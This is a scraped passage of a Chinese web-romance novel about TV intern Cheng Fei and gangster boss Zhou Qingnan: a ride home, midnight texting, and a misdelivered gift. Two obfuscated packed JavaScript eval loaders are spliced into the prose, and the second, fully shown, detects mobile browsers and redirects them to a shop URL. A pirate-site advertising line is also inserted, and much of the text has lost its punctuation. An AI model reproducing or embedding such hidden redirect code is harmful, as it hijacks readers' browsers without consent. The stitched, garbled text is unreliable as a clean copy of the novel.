这人的气场摆在那儿随便说句话都慑人得很程菲完全是下意识就顺着周清南答出来。答完一怔慢半拍地发现重点跑偏于是不满地嘟囔“你又是从哪儿看出来我喜欢小朋友。” 周清南满脸的没所谓道:“从你对周小蝶的态度就看得出来比我这个当爹的上心。” “……”合着您老人家也知道自己这个爹当得不上心啊? 程菲担心周小蝶一个人在家出什么意外想了想又说:“算了算了你停车把我放下来别送我了回家陪你女儿要紧。”说着她伸手摸到安全带的卡扣分分钟准备解开下车。 周清南:“不用。” 程菲:? 程菲解安全带的动作僵住又是震惊又是懊恼但仍尽量控制着语气心平气和地说:“周先生本来这是你的家事我一个外人不好多嘴。但是之前听小蝶说她妈妈已经去世了你现在是她在这个世界上唯一的亲人。” “我认为不管你和孩子的母亲有什么恩怨情仇小朋友是无辜的你 们既然给了她生命就应该对她负责好好把她养育成人。” “没有母爱的孩子已经够可怜了 “而且人家那么小的年纪千里迢迢寻亲不知道经历了多少磨难好不容易找到了你你更应该最大限度发掘出自己的爱心。关心她爱她呵护她成为她一辈子的保护伞避风港。” 一番长篇大论程菲说得苦口婆心语重心长跟街道办的妇女儿童主任似的。 周清南神色平静认真地听一副聆听教诲的状貌到姑娘最后一个字音落地终于侧过头懒懒看她一眼目光颇有几分耐人寻味。 程菲被他瞧得背上发毛警惕:“你这是什么眼神。” 周清南挑起眉:“教我做事?” 此言一出程菲脑子里瞬间警钟大作——不好刚才义愤填膺激情开麦开得太忘我忘记了这位大佬杀人不眨眼的黑老大身份! 程菲有点被吓到了下意识往车门那头挪了下屁股清清嗓子挤出个尴尬而不失礼貌的微笑给自己找补“周先生你别误会我绝对没有指点你做事的意思。只是提出一些我个人的。” 她说到这里朝他竖起一只左手用小拇指比划出微小程度“小小拙见。” 周清南将她这个促狭可爱的小动作收入眼底眸中闪过一丝笑意视线收回去重新看向前方的路况。 继而边开车边漫不经心地点评:“你的小小拙见也有点儿道理。” “是吗。”得到大佬的认可程菲瞬间也不再那么害怕精神一振笑笑“有道理就好。” “不过我这人天生坏种良心爱心早就喂了狗。”周清南很平和地说“不好意思。” 程菲:“……” ? 你有哪一丁点表现出不好意思了? 油盐不进死猪不怕开水烫我看你好意思得很! 程菲彻底不知道还能说什么抬手扶额沉默。 就这样后半段路程两人谁都没有再说一句话。 驶出繁华市中心之后的道路便畅通许多黑色越野在夜色中继续飞驰约莫十五分钟后便进入平谷区地带。 周围街景变化鳞次栉比的摩天高楼消失了踪影取 而代之的是一栋栋修筑于九十年代的老破大居民楼。 没一会儿,周清南的车在一处老小区门口停下。 见目的地已到达,程菲心下暗喜,飞快动手解开安全带,接着就准备推门下车。 周清南坐在驾驶席里,微侧着眸,不动声色观察程菲的所有动作。只见这姑娘“啪”一声松开安全带后,手已经放在车门把手上,静等两秒,迟迟不见她开门。 “怎么了?”他出声。 程菲迟疑地转过头来看他,眉宇间的神态显出几分凝重,沉吟片刻,试探道,“周先生,今晚你那些朋友……应该不会再找我麻烦了吧?” 从上车到现在,关于那个中年人、关于今晚的所有,程菲一个字都没有向周清南发问,就是不想知道太多,不愿和他牵连太深。 今夜绑架她,那个中年人口口声声说是要替周清南保护她的安全,但实际真相如何,谁说得清? 程菲必须确保自己的人身安全。 周清南直视着她晶亮乌黑的眼,片刻,吐出两个字:“不会。” 程菲将信将疑:“我可以信得过你吗?” 周清南:“信不信得过,你现在也只能信。” “……” 确实,从今晚的局势来看,这男人背后的势力非同一般,她没有证据,断然不能草率报警,也只能暂时信他了。 程菲思考了会儿,沉沉吐出一口气来,说:“行吧。” 说完,她推开车门下了车。 周清南看着那道纤细人影,眸色沉沉,忽然开口叫住她,说:“程小姐。” 程菲步子停住,回转身,绕行至驾驶室一侧半落的车窗前,表情带着疑惑。 车厢内光线太暗,男人冷峻的侧颜笼在暗色光影里,半明半暗,虚实难分。他注视着她,须臾,胳膊一伸,朝她递过来一件东西。 程菲定睛看了眼,见那物件呈三角形,竟然是她遗失数日的发财符。 程菲眸光突地闪了闪。 “你的东西。”周清南说着,懒洋洋抬了抬指,示意她取走。 程菲接过符,站在原地犹豫了会儿,像在思考什么,接着抬眸看向他,露出一个浅笑:“你的地址是尹华道468号21层?” 周清南眉峰微微 一挑,有点儿不解。 “周先生,你帮了我好几次,我给你寄个礼物吧。”程菲拿回了发财符,心情好了,笑容也变得温婉放松,“反正以后我们应该也不会再见面,给你寄个小礼物,就当是我的一点心意。” 夜风轻轻吹拂,扬起她颊畔一缕发丝,飘荡如云。 周清南无声注视着车窗外的姑娘,理智拉扯,拒绝的话滚到唇齿间,却说不出口。他静默半晌,最终应她一个字:“好。” * 蒋兰女士每天都会等到程菲下班才睡觉,日复一日,雷打不动。 程菲早就猜到母上会问起自己脸上的伤,已提前想好应对的说辞。 果然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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蒋兰无奈叹了口气道:“心疼有什么办法。菲菲什么性格你又不是不知道犟得很决定的事撞了南墙也不会回头。管她呢工作上的事咱们帮不上忙就让她自个儿折腾去。” 程国礼看了眼妻子手上的药膏琢磨两秒又说:“这工作忙也就算了看个热闹还能让人一肘子撞脸上咱闺女最近是不是不太顺啊。” “是有点。”蒋兰也忧心忡忡地蹙眉。 程国礼:“你上周不是说菲菲小姨下周要去萧山拜拜吗。干脆你跟着一起去给闺女请个平安符回来。” 蒋兰想了想点头:“成。” * 夜更深。 将程菲平安送到家后周清南又去了一趟不夜城陪着梅凤年喝茶聊天玩扑克。等他安顿好梅老一行再回尹华道时时间已经是凌晨两点多。 三百多平米的大平层俯瞰摩登风光电梯独立入户电梯门一出来就是一个私人入户花园。 周清南糙得很嫌花草娇气养起来麻烦因此他的花园里没有一朵花和一棵草而是被他布置成了一个露天画室摆放着他常用的画架画笔和颜料。 叮。 他在夜风中点了根烟眺望远处那些闪烁着斑斓霓虹灯的钢铁巨兽。 一息光景脑海中忽然浮现出一幅画面。 隔着扇半落的车窗女孩弯着腰 周清南咬着烟烟雾背后的眼睛微眯随手拿起边儿上的铅笔对准了画板。 然而落笔前一秒他察觉到什么动作停住。 “嗯?”背后传来一道稚嫩的嗓音脆而甜软软的“画呀怎么不画了?” 周清南脸色冷淡没了兴致随手把画笔给丢到一旁。 周小蝶抱着芭比娃娃走过来眨了眨一双天真无邪的大眼睛靠 近他,认真端详几秒,接着就莫名其妙笑起来。 孩童的笑声本就尖锐,响彻深夜,没有半点可爱和童趣可言,只让人感到诡异。 周清南面无表情,没有一点反应,由着她也由着她笑。须臾,一根烟抽完,他吹了吹燃着的烟尾,转身离去。 “喂。”周小蝶抬下巴。 周清南回头,看见周小蝶扔了个东西过来。他抬手接住,是一个揉皱的纸团。 展开。 纸上用黑色签字笔写着一串手机号,笔迹娟秀圆润,一看就是出自姑娘家。 是程菲在馄饨摊上留下的纸条。 周清南撩起眼皮,凉凉地看向周小蝶,没说话。 周小蝶掰着怀里的芭比娃娃朝周清南摆了摆手,笑容纯真,“不谢。” 周清南玩味又阴鸷地挑眉,问她:“你想干什么。” “听说你今晚为了人家,连梅老的面子都没给,还废了青蟒一根手指头。”周小蝶笑吟吟,声音随后压低几分,“左袒护右袒护,宝贝成这样,我当然得助攻你一把呀。” 说到这里,她停顿了下,竖起肉嘟嘟的雪白手掌稍掩住唇,神神秘秘:“放心周先生,我不会出卖你,也不会告诉梅老,你耍了他。” 片刻,周清南视线从那串数字上移开,随手将纸条重新揉成一团。 周小蝶看见他这个举动,目露惊讶。 “我最后警告你一次,离她远点。”周清南语气平静而冷漠,“哪怕她只是少了一根头发,我都会要你的命。” 周小蝶:“……” 周小蝶皱眉,正要说什么,周清南却已提步离去。 周小蝶无语死了,翻出一记硕大的白眼,道:“是她自己不知死活,昭告天下说是你的女人还怀了你的种,现在道上盯她的人那么多,谁知道她哪天会不会就把自己给作死!这也能全部记我头上?窦娥都没我冤吧!” 小女娃娃在背后奶声奶气憋屈地喊,周清南却跟没听见似的,两手随意插裤兜,迈着一双大长腿神色冷漠地回到卧室。 屋子里黑漆漆的,满目暗色。 周清南随手关了门,接着又点燃一根烟,靠在门板上面无表情地抽。 烟雾在黑暗中升腾,隔着层层虚无缥缈的白色,他眯了眯眼,眼前不自觉便浮现出年轻姑娘在车里吃软糖的场景。 湿漉漉的粉色舌尖,舔过饱满小巧的唇,可爱又自然的举动,落在他眼中的画面却格外妖糜,妩媚,甚至是色.情。 须臾,周清南扯唇,自嘲似的笑了下。 和那个姑娘相处,他的理智分明每秒钟都在不停发出警告,要他克制,要他清醒,要他离她远一点。 可是也仅仅只能管住肢体。 鹅小说的域名qiexs№(请来企 鹅小说 看最新章节 完整章节) 他的思想早就失了控,看她吃颗糖,就恨不得将她扒个精光。 作者有话要说 大佬:老婆求c。 菲菲仔:……你不要过来啊。 —— 我发誓(竖起手指):这篇是尊嘟很甜!全员助攻全员嗑cp!大帅们信我!明天的更新还是在0点0808~ 随机100个红包包喔 第 17 章 “晚安” 最近滨港市反常的天气终于恢复了点正常,夜间气温回落,晚上睡觉不用开空调,窗户半开一道口子,便有夜风徐徐送入凉意。 被子一盖,惬意得很,按理说非常适合蒙头大睡。 然而程菲却失眠了。 不知道是不是晚上那场现实版“惊魂两小时”给大脑造成的刺激太大,导致所有神经都处于高度亢奋状态,她洗完澡擦完药后躺到床上,硬是翻来覆去好半天都没有睡意。 五分钟过去,程菲爬起来上了个洗手间。 十分钟过去,她又爬起来收拾了一下床头柜。 十五分钟过去,二十分钟过去…… 到上床后的第三十八分钟时,程菲掀开被子猛地坐起来,终于彻底放弃召唤瞌睡虫,转而拖鞋一趿跳下床,从零食箱里翻出一袋鸡脚筋,刺啦撕开,坐到书桌前大快朵颐。 半夜睡不着,八成儿是饿的,一顿美食可以解决生活中百分之八十的烦恼。 鸡脚筋是盐焗口味,咬一口,嘎嘣脆。 程菲满足地闭眼咀嚼,嚼吧了会儿,觉得这么干吃好像没什么意思,于是又拿起手机打开追剧APP,想看看最近有没有什么好看的下饭电视剧。 正搜寻着,滴滴一声,收到一条新微信。 程菲都不用看,一猜就知道肯定是闺蜜温舒唯发的,毕竟程菲朋友本就不多,她朋友圈儿里喜欢在半夜出没扰人清修的,除了夜猫小温同志,没有第二人。 程菲又咬了一口鸡脚筋,挪动细白的指尖,戳开微信。 注定要暴富的小温同学:大半夜湿得想死,谁懂啊! “……”开屏就被暴击。 程菲毫无防备,被嘴里的鸡脚筋呛到,惊天动地咳嗽起来,一张白生生的脸蛋在剧烈咳嗽下憋得通红。 咳了差不多半分钟才缓过劲,程菲额头滑下一滴豆大的冷汗,抬手顺顺胸口,敲字回复。 她:…… 她:虽然你家沈寂看起来就很猛,让你情难自已也很正常。但是这么黄暴的细节感受就不用分享了,谢谢:) 注定要暴富的小温同学:? 注定要暴富的小温同学:程菲同志,亏你以前还是精神文明小标兵,思想什么时候变得这么龌龊了! 注定要 暴富的小温同学:我说的“湿”是指空气湿度!是在吐槽床单摸着太潮湿严重影响我睡眠质量!你在回复我什么虎狼之词? 手机屏这头,精神文明小标兵程菲同志一阵尴尬,默默回复过去:……好的是我下流【OK】。 程菲:最近空气是挺潮湿的,我家前两天才刚新换了一个除湿器,还挺好用的。要链接吗? 注定要暴富的小温同学:发我发我!我马上去激情下单! 程菲飞快切换到淘宝,把除湿器的链接复制下来,粘贴回跟温舒唯的聊天对话框,敲下发送键。 注定要暴富的小温同学:大恩不言谢【抱拳】 注定要暴富的小温同学:不对啊。 注定要暴富的小温同学:你以前都是过了12点就睡得跟猪一样,最近怎么回事,频频深夜出没,又加班啦? 程菲抿抿唇,回想着这几天发生的事情,有点犹豫要不要跟好基友老实交代。纠结两秒后,她做出了决定,嫌打字麻烦,直接一通语音电话打过去。 对面秒接,打趣儿意味十足:“哟,瞅这架势,程导这是有心事呀?” “行了快别跟我贫,事情特别复杂,我就直接挑重点跟你说吧。” 随后,程菲便将这几天发生的一系列重要事件简明扼要地讲了一遍。 由于这段话里的信息量实在太大,听筒对面的温舒唯听完后还有点消化不过来,懵了差不多十秒钟才开口,难以置信道:“……相亲走错包间,误把那个黑老大当成了相亲哥?” 程菲有气无力地应:“嗯。” “相亲那天你弄丢了发财符,被黑老大捡到,后面他还跑来讹了你一顿馄饨,最奇葩的是,再然后你还发现他有个女儿???” “……嗯。” 程菲没告诉温舒唯今晚她被带去不夜城的事。一是觉得现在她人已经平安回家,事情也得到了解决,告诉温舒唯只会让好友担心,二是深知好友的性格,仗义耿直正义感爆棚。 万一温舒唯火冒三丈直接去报警,或者在网上曝光这个事,凭她百万博主的影响力,必定一石激起千层浪。 到时候,周清南极有可能会大祸临头。 程菲为人有自己的原则。那个男人帮她那么多次,真要让她反咬一口卖了他,她 做不出来。 听筒对面的温舒唯简直整个人都惊呆了。她怔怔道:“我的老天爷。姐妹,怎么这么离奇的事情都能被你遇上,你最近还真够点儿背的。” “是吧,我也觉得。”程菲沉沉叹了口气。 “好了你快睡。相信我,睡一觉起来,明天一切就都会回到正轨。”温舒唯笑了下,换上无所谓的口吻安慰她,“至于那个什么黑老大,你压根不用在意,那就是咱们高中那时候的不良少年成人版,小混混头子。今天占游戏厅明天占菜市场,也就能唬唬小学生,不用怕他。” 程菲听温舒唯这么一说,又在脑海中回忆了一下周清南的个人形象以及被她亲眼目睹的各类事迹,深沉地眯了眯眼,由衷道:“我觉得,他可能不是一个简单的混混头子。” 温舒唯:“哦?” 程菲严肃地说:“他像是个能干大事的。” 温舒唯闻言没忍住,直接噗嗤一声,哭笑不得地说:“得了吧,你就是看人家长得不错,所以自动加了层滤镜而已。” 程菲卡壳,默了默,说:“也有可能。” “像这种小混混,属于咱们这个社会的边缘人物,大多都爹不亲娘不爱,家境贫苦。其实也挺可怜的。” 温舒唯思考片刻,发出了身为人民记者的感叹,“你想想,健康家庭长大的孩子,谁会去干这种把脑袋别裤腰带上的营生?不过,时代的洪流滚滚向前,随着社会的不断进步、法制的不断完善、人民生活质量的不断提高,相信这类人群会越来越少。这也是我们所有人努力奋斗的目标。” 程菲听温舒唯说着,一时间有些出神。 须臾,她思绪回归现实,接着便弯唇很轻地笑了下,道:“我只是跟你说个稀奇,你这总结一出来,格局一下打开了。看来你家沈寂平时没少给你上思想政治课。” “去去去。”温舒唯脸皮薄,明显不好意思了,啐道,“这跟沈寂有什么关系,我自己也很有思想的好不好。” 第二天是工作日,两个姑娘都要早起,又东拉西扯闲聊了两句,之后便互相道晚安,准备睡觉。 挂电话之前,程菲像是忽然想起什么,惊呼道:“对了我唯!” 温舒唯张嘴打了个哈欠,懒耷耷地回她:“又怎么?” “那个……” 程菲脸颊莫名有些烫捏住手机的手指也无意识收紧几寸像是不知怎么开口。斟词酌句左思右想足足三秒钟才迟疑地小声问“一般情况下如果要给男孩子送礼物可以选些什么东西呀?” “这得分情况看你和对方具体是什么关系。”温舒唯耐着性子给自家情感经验为零的闺蜜科普“男朋友可以送剃须刀贴身衣物打火机什么的私人用品暧昧对象同理。如果是普通朋友又要另当别论。” 程菲认真听着懂了又没完全懂追问:“那如果是连普通朋友都不算的关系送什么合适?” 温舒唯好笑“连普通朋友都不算还送礼物?冤大头吗钱多烧得慌。” 程菲:“……” 温舒唯敏锐察觉到了一丝怪异哼哼两声:“说吧你到底想给谁送礼物坦白从宽抗拒从严啊。” 程菲卡壳旋即便对着手机干巴巴地笑出两声胡诌道:“就一个男同事之前在工作上帮过我几次我想给他送个东西当做答谢。” “哦。”温舒唯没有怀疑程菲的说法又问“你那个同事家里有老婆孩子吗?” 程菲想了想很谨慎地回答:“我知道他和他的闺女住一起。” “那你就送吃的。”温舒唯说“像这种有家室的人送礼物尤其要注意分寸食物最稳妥什么水果山珍牛羊肉之类的因为他全家都能吃。而且就算被周围人知道了也不会引起不必要的误会。” 闻言程菲顿觉醍醐灌顶深以为然当即决定采纳这番高见:“嗯我明白了!多谢温老师指点!” “退下吧。” 聊完最后一个话题程菲跟温舒唯说了声晚安然后便将电话挂断。拿清水随便漱了漱口重新躺回被窝。 看眼时间已经凌晨两点半。 想到只能再睡五个小时不到程菲不禁悲从中来含泪调好手机闹钟盖上被子闭上眼再次发功开始召唤瞌睡虫大军。 谁知道就在她迷迷糊糊即将入睡的前一秒枕头边上又是“叮”一声。 被窝里的一团生生一僵再次无语住本不想理 抓啊抓,捞到手机,“嗖一下缩回被子。 在黑暗中点亮手机屏,一瞧,发来新短信的却并不是徐霞曼,而是一个陌生的手机号码。 程菲这会儿已经困了,吃力地睁着一只眼睛瞧屏幕。 陌生号码发的内容只有一句话:【我的号码。】 程菲:? 程菲茫茫然。 换成平时,像这种陌生号码加装逼气息浓厚的开场白组合,她一律都是直接当成骚扰电话处理,根本懒得理会。 但失眠本来就让人暴躁。 加上好不容易酝酿出的睡意再次被打断,程菲心里烦得很,很不爽地就回了对面一个:谁啊你? 下一秒,对面的回复便从对话框底部“嗖的弹出。 只有极其精简的三个字:【周清南】 程菲:“…… 程菲蓦地一震,另外那只闭着眼的眼睛也猛然睁开,双眼瞪得像铜铃,再次清醒成狗。 周清南?他怎么会知道她的手机号? 噗通噗通,噗通噗通。 周围太安静,安静到程菲可以清楚听见自己的心跳声,无端慌乱急促,早已经失去正常的频率。 手掌心也不知什么时候沁出一层汗,滑滑的,黏黏的。 程菲纤细的身子蜷缩在被窝里,手滑得几乎握不住手机,觉得热,索性直接掀开被子坐起来。 暗自做了个深呼吸,她定定神,这才敲字回复:【周先生?你怎么会有我的手机号?】 消息回过去,周清南再次秒回:【你之前写了一张纸条给周小蝶。】 嗯?纸条? 程菲最开始没反应过来,举着手机蹙眉回想,两秒后,恍然一拍脑门儿——她想起来了。 那天在馄饨摊,她看周清南对周小蝶态度冷漠,担心这男人再次将自己的亲骨肉弃之不顾,所以留了一份电话号码给周小蝶以防万一。 可是…… 那张纸条是她留给小朋友的,怎么会跑到他手上? 大约是隔着一个手机看不到人的缘故,程菲此刻没那么怕周清南了。心头的疑惑她自己想不到答案,索性就直接打字问他。 程菲:【你从小蝶那儿把纸条要来了?】 周清南:【不是。】 猜测被否认程菲也没有再过多纠结心想毕竟周清南和周小蝶是父女 程菲眨了眨眼紧接着又发送道:【周先生这么晚找我有什么事吗?】 周清南:【这个号码记一下。】 程菲:“……” 程菲更加迷茫了打字:【为什么专程告诉我你的手机号码?】她也没问过他吧。 周清南:【不是要给我寄礼物】 周清南:【收货人电话】 ……??居然是因为惦记着她承诺的礼物? 程菲一双眼睛眨了眨得出这个结论忽然就觉得挺有意思。 之前汽修厂里初见他在她心里的形象十分脸谱化位高权重呼风唤雨杀人不眨眼几次接触下来那张刻板的面具莫名就变得立体而生动。 这个杀人不眨眼的社会大佬喜欢吃白桃味的水果软糖还会专程给她发信息告知自己的手机号就跟生怕收不到礼物似的。 怎么还有点儿……反差萌? 程菲嘴角勾起一道弯弯的弧琢磨半秒又敲字礼貌询问:【你有没有什么特别喜欢吃的东西?】 周清南:【没有】 程菲:【那你女儿呢?她平时喜欢吃什么?】 周清南:【不知道】 程菲:…… 程菲无语心想连自己闺女喜欢吃什么都不知道你这爹当得也真够水的。 程菲最后又问了句:【那你们父女俩有没有什么过敏和忌口?】 周清南:【没有】 行吧。没有过敏和忌口那就好买东西多了。程菲心里思索着随手打开淘宝APP浏览起美味零食排行榜。 又过了两秒钟周清南的回复再次弹出来。 周清南:【早点儿睡】 程菲眉毛高高挑起来心想这人跟她非亲非故管得还挺宽 不由又打字回复:【可我看你好像天天都在熬夜也没见你早睡呀。】 没两秒便再次收到回复。 对面的大佬回她:【熬夜对身体不好】 程菲摸了摸下巴觉得这人有点儿双标。继续移动指尖打字 回复对面:【那对你身体也不好。】 周清南:【你一姑娘家和个糙男人比什么】 手机这端屏幕投射出的冷光幽暗偏蓝在黑暗中依稀照亮程菲绯红的颊。她眸光闪烁了瞬看着“糙男人”这个词忍不住噗嗤一声。 程菲壮着胆子敲键盘:【你之前不是还说自己如花似玉……】 周清南:【那是陆岩的原话】 周清南:【我个人对自己的定位比较低调】 程菲:…… 行吧你低调。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415784|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 程菲忍俊不禁哐哐哐打字回他个“好的”顿了顿又迟疑地加了一句:【那就晚安啦。】 发送过去。 没几秒新消息便弹出来。 周清南:【晚安。】 * 程菲在电视台实习的薪水并不高但她平时不买大牌也不买奢侈品加上大学期间就已经开始勤工俭学做兼职几年下来已经有了一笔小积蓄。 她的消费观总结下来很简单就是既不铺张浪费也不抠抠搜搜不该花的钱一分不掏该花的钱一分不省。 给救命恩人送礼物程菲觉得属于后者。 她对这事很上心第二天去演播大厦的地铁上就选好了要寄给周清南父女的礼品——十斤车厘子一盒羊肚菌山珍还有一箱宝宝零食大礼包。 加入购物车以后为求稳妥程菲还专程截了个图发给温舒唯询问好友的意见。 温舒唯在业内一家知名杂志社工作每天早上的打卡时间和程菲差不多这会儿也在通勤路上。 温舒唯很快便在微信上回复给程菲一个熊猫头表情包:反手一个赞.jpg 得到闺蜜的认可程菲嘴角露出个满意的笑容随手便将三件食品礼物选中统一结账下单。 头天晚上将近三点才睡着程菲此刻眼皮子打架困得不行付完款之后便关了购物软件头靠窗迷迷糊糊地打起盹儿来。 礼物买好 不过…… 程菲想到什么忽然又睁开眼睛。 要是快递小哥送货的时候周清南不在家这些东西直接搁到代收点放坏了怎么办?她买的可是特级车 厘子,十斤就是小两千块…… 两千块啊两千块,够她在顾姨那儿吃几百碗餐蛋面呢! 程菲想起来就觉得肉疼,为了确保她的天价车厘子能以最新鲜最吃不起的状态送到周清南手上,她决定发个短信跟那位社会大佬说一声。 于是打开短信信箱,找到最顶部的那个陌生号码聊天对话框,编辑文字:【周先生早上好。送你的礼物已经买好了,预计明天就会到货。麻烦注意查收!】 输入完,敲下发送键。 令程菲没想到的是,消息发出,不到半分钟对面的回复便弹出来,简洁明了的一个汉字:【好】 程菲:“……” 没记错的话,昨天半夜两点多这位大佬都还在和她发消息。他怎么也起这么早?难道血腥残暴杀人不眨眼的黑老大也有考勤压力? 程菲惊讶地眨眨眼,想回复点什么,可细白手指刚戳上屏幕却又忽地停住,似乎犹豫起来。 片刻,终是作罢,抿唇耸耸肩,随手将屏幕熄灭。 * 电视台是正常双休制,每逢周五,平日里肃杀庄严的演播大厦便会弥漫开一股喜气洋洋的氛围。 用台里老员工们的话说,周五的天空会更蓝,云朵会更白,就连保安大叔们的地中海发型都会变得可爱几分。 然而,这个周五的快乐是别人的,刚打完卡就被告知周六要加一整天班的程菲差点哭晕在厕所。 只叹寂寞如雪,人类的悲欢并不相通。 强打精神干完一天的活。次日一大早,程菲准点来到演播大厦,和团队的人一起讨论新栏目的相关事宜。 周末食堂不营业,徐霞曼知道大家伙辛苦,请程菲等人去附近一家新开的烤肉店吃了顿大餐。 下午回来继续忙,等程菲写完手上的最后一份材料,伸个懒腰抬起头时,才发现窗外的天色已经暗下。 “小程还没走啊。”值班的保安大叔从走廊路过,笑着跟程菲打招呼。 “马上就走。” 见团队的其他人都已经撤退,程菲也不打算待了,起身收拾东西。上了个洗手间出来,正好接到快递员打来的电话。 对方在电话里说她的快递到了,已经送到公司前台。 程菲平时经常填写公司地 址购物,闻言也没多想,向快递小哥道谢后便独自去取。谁知走到前台那儿一瞧,整个人瞬间傻眼——只见前台地上堆着好几个大纸箱,个个包装精美,沉甸甸的。 她狐疑,上前仔细查看包装盒,才发现,竟然是车厘子、羊肚菌、以及宝宝零食大礼包。 程菲:??? 程菲震惊了,飞快掏出手机去看订单详情,绝望扶额——她提前录入了尹华道468号这个收货地址,但是下单的时候忘记选,这些礼品直接按照默认地址全发她公司来了。 完美。 所谓自作孽,不可活,自己干的蠢事怨不得他人。程菲无法,只能先想办法把这些东西从公司搬走。 然而几个纸箱子又沉又大,她尝试几次,折腾出满头大汗,均以失败告终。 程菲累得直喘气,一时半会儿想不到办法,只能一屁股瘫坐在候客区的沙发上。正考虑着要不要花钱雇个跑腿小哥,叮铃铃,一阵手机铃声忽然响起,打断她思绪。 程菲看眼来电显示,见是陌生号码,以为又是快递什么的,随手就接起来:“喂?” 听筒对面停顿半秒,接着便响起一道嗓音,清冷悦耳,但不知是不是有电流杂音的影响,听着比现实中稍沙哑一些,慵懒一些,沉沉的。 “东西今晚能不能到。”对面很随意地问。 “……”程菲听出这个声音,一愣,不确定地轻声确认,“周先生?” “嗯。”周清南应了她一声,懒洋洋的鼻腔音,接着便向她道明这通电话的意图,“我明天要出趟远门,今晚到不了的话,我得安排其他人代收。” 程菲微僵,目光囧囧地扫过那几个大纸箱,沉吟片刻后,才道:“那个,出了点小意外。” 周清南没有说话。 “那些礼物已经到了。”程菲尴尬又心虚,甚至有点难以启齿,声音越到后面越小,“但是我忘记改地址,所以都寄到我单位这边来了……” 周清南便直接问道:“你人在哪儿。” “现在吗?我就在演播大厦。”程菲下意识答他话,语气听着老实巴交又惨兮兮的,顺口就吐槽了句,“我今天被抓来单位加了整天班。” 对面又是半秒安静,须臾才道:“那你等一下。” 程菲:?嗯? 程菲感到不解:“等什么?” 周清南:“等我。” 也不知道是加了一天班脑子发昏,还是被黑老大的气场压得整个人有点儿恍惚不清醒,程菲直到这一句都没听懂那位大佬的话是几个意思,呆呆地又问:“等你干什么?” 听筒对面像是被她磨得都没脾气了,无奈地顿了下,懒洋洋应道:“等我来救驾啊。” 程菲:“……”=。= 作者有话要说 大佬:老婆每天都在找机会和我单独相处,我好幸福。 —— 下章又是全篇对手戏啦! 明天要上夹子,所以更新会晚一点,在晚上的23点0808哦!依然随机100个红包包! 第 18 章 坏男人。 听筒对面语气自若,仿佛只是在说一件自然而然的事,这头的程菲却愣怔住。 下一秒,她反应过来这位大佬口中的“救驾”是什么意思,当即忙颠颠地脱口而出:“不用不用,你不用亲自过来,我叫个闪送或者跑腿小哥就给你送到家了。” 听筒那头的周清南顿了下,道问:“你现在不太方便?” “也不是不方便……”程菲是发自内心地感到难为情,很诚实地回答,“只是觉得让你大老远跑一趟,不太合适。” 对面:“有什么不合适。” 程菲闻言,顿时又无奈又尴尬,捏捏太阳穴说:“拜托。是我要给你寄礼物,怎么好意思让你自己过来搬这几大箱?” 她再不懂人情世故,最基本的社交礼仪却还是知道,毕竟她和他的关系也就比陌生人近那么一丢丢,撑死算个“点头之交”,哪有送礼物还要别人自己过来动手搬的? 这时又听对面的大佬回她:“我就在滨安,离你单位不远,开车过来最多也就二十分钟,不会耽误你等太久。” 程菲举着电话眨了眨眼,心想:不太妙,这位大佬该不会以为她推辞不让他来,是不想浪费自己的时间等他吧? “你别误会,我不是觉得等你耽误时间。”程菲解释,说到这里停顿半秒,后半段话的音量明显弱下几分,嘀咕似的,“只是单纯不想麻烦你。” 周清南闻言,轻描淡写还她一记轻嗤,淡声道:“说得就像你没麻烦过我。” “……”呃。 程菲被生生一噎,一时间找不到话往下接。 又听对面的大佬继续淡定补刀:“反正也麻烦了这么多回,多一次无所谓。” “……” 程菲发现这些新时代的黑老大有时候还挺可爱的。平时看起来凶神恶煞残暴无比,呛人的时候又很接地气,往往轻描淡写两句话就能把人怼得哑口无言,厉害。 而且,他说得也对。打从两人第一次见面开始,她貌似就一直在麻烦他,连假装怀孕碰瓷他的事儿都干出来过,现在使唤他搬几个箱子又算什么? 人家可是堂堂社会大佬,他非要纡尊降贵跑过来当苦力,她也拦不住不是? 行吧。 见多番阻拦都无果,程菲思索两秒,很坦 然地选择了大方摆烂。随后便抱着“爱咋咋的心态对手机那头道:“那你过来。我在演播大厦一楼大厅的前台等你。 “好。 程菲又看了眼地上的几个大纸箱,想着反正待会儿也有人来搬,索性也就不管了。从包里掏出耳机往耳朵里一塞,开始边听音乐边看小说,沉浸式阅读。 程菲从初中开始就有看网文的习惯,并且是杂食动物,不挑类型,历史向官场向感情流剧情流,只要人设剧情足够吸引人,统统来者不拒。 她正在看的这部小说是一本古代复仇爽文,讲的是一个世族大家的庶出女儿在新婚之夜惨遭未婚夫背叛,被残忍杀害后弃尸荒野,后来又重生回去手刃仇人的故事,相当的狗血酸爽。 程菲昨天摸鱼刷微博的时候无意间看见首页有推荐,顺手点进链接,想着随便瞄两眼打发时间。结果看完两章觉得还不错,就加入了收藏夹。 目前她刚看到第四十二章,女主角中了情毒,正在荒郊野岭的一间破庙里和阴冷男主躲避仇家追杀,月黑风高夜,干柴烈火时。 两个纸片人本来还在正常走剧情说对白。聊着聊着,忽然就吻上了。 吻着吻着,又双双滚到了干草堆上。 其实说实话,这本书的作者写剧情的文笔一般般,但亲密戏部分却格外的细腻香艳,看得程菲心脏砰砰跳,颇有几分心潮澎湃。 于是,当周清南停好车,独自乘电梯上到一层大厅时,刚踏出电梯门就看见了如下一幕: 落地窗外的天空已经黑透,空空荡荡的大厅里只有唯一一抹纤细人影。 她今天穿了件杏白色的春夏款针织衫,料子柔软轻薄,一字平领的下端开了个小小的V口,展露出雪白柔美的肩颈和脖颈。下装是一条纯黑色的修身牛仔裤,两条腿笔直纤长,引人瞩目。 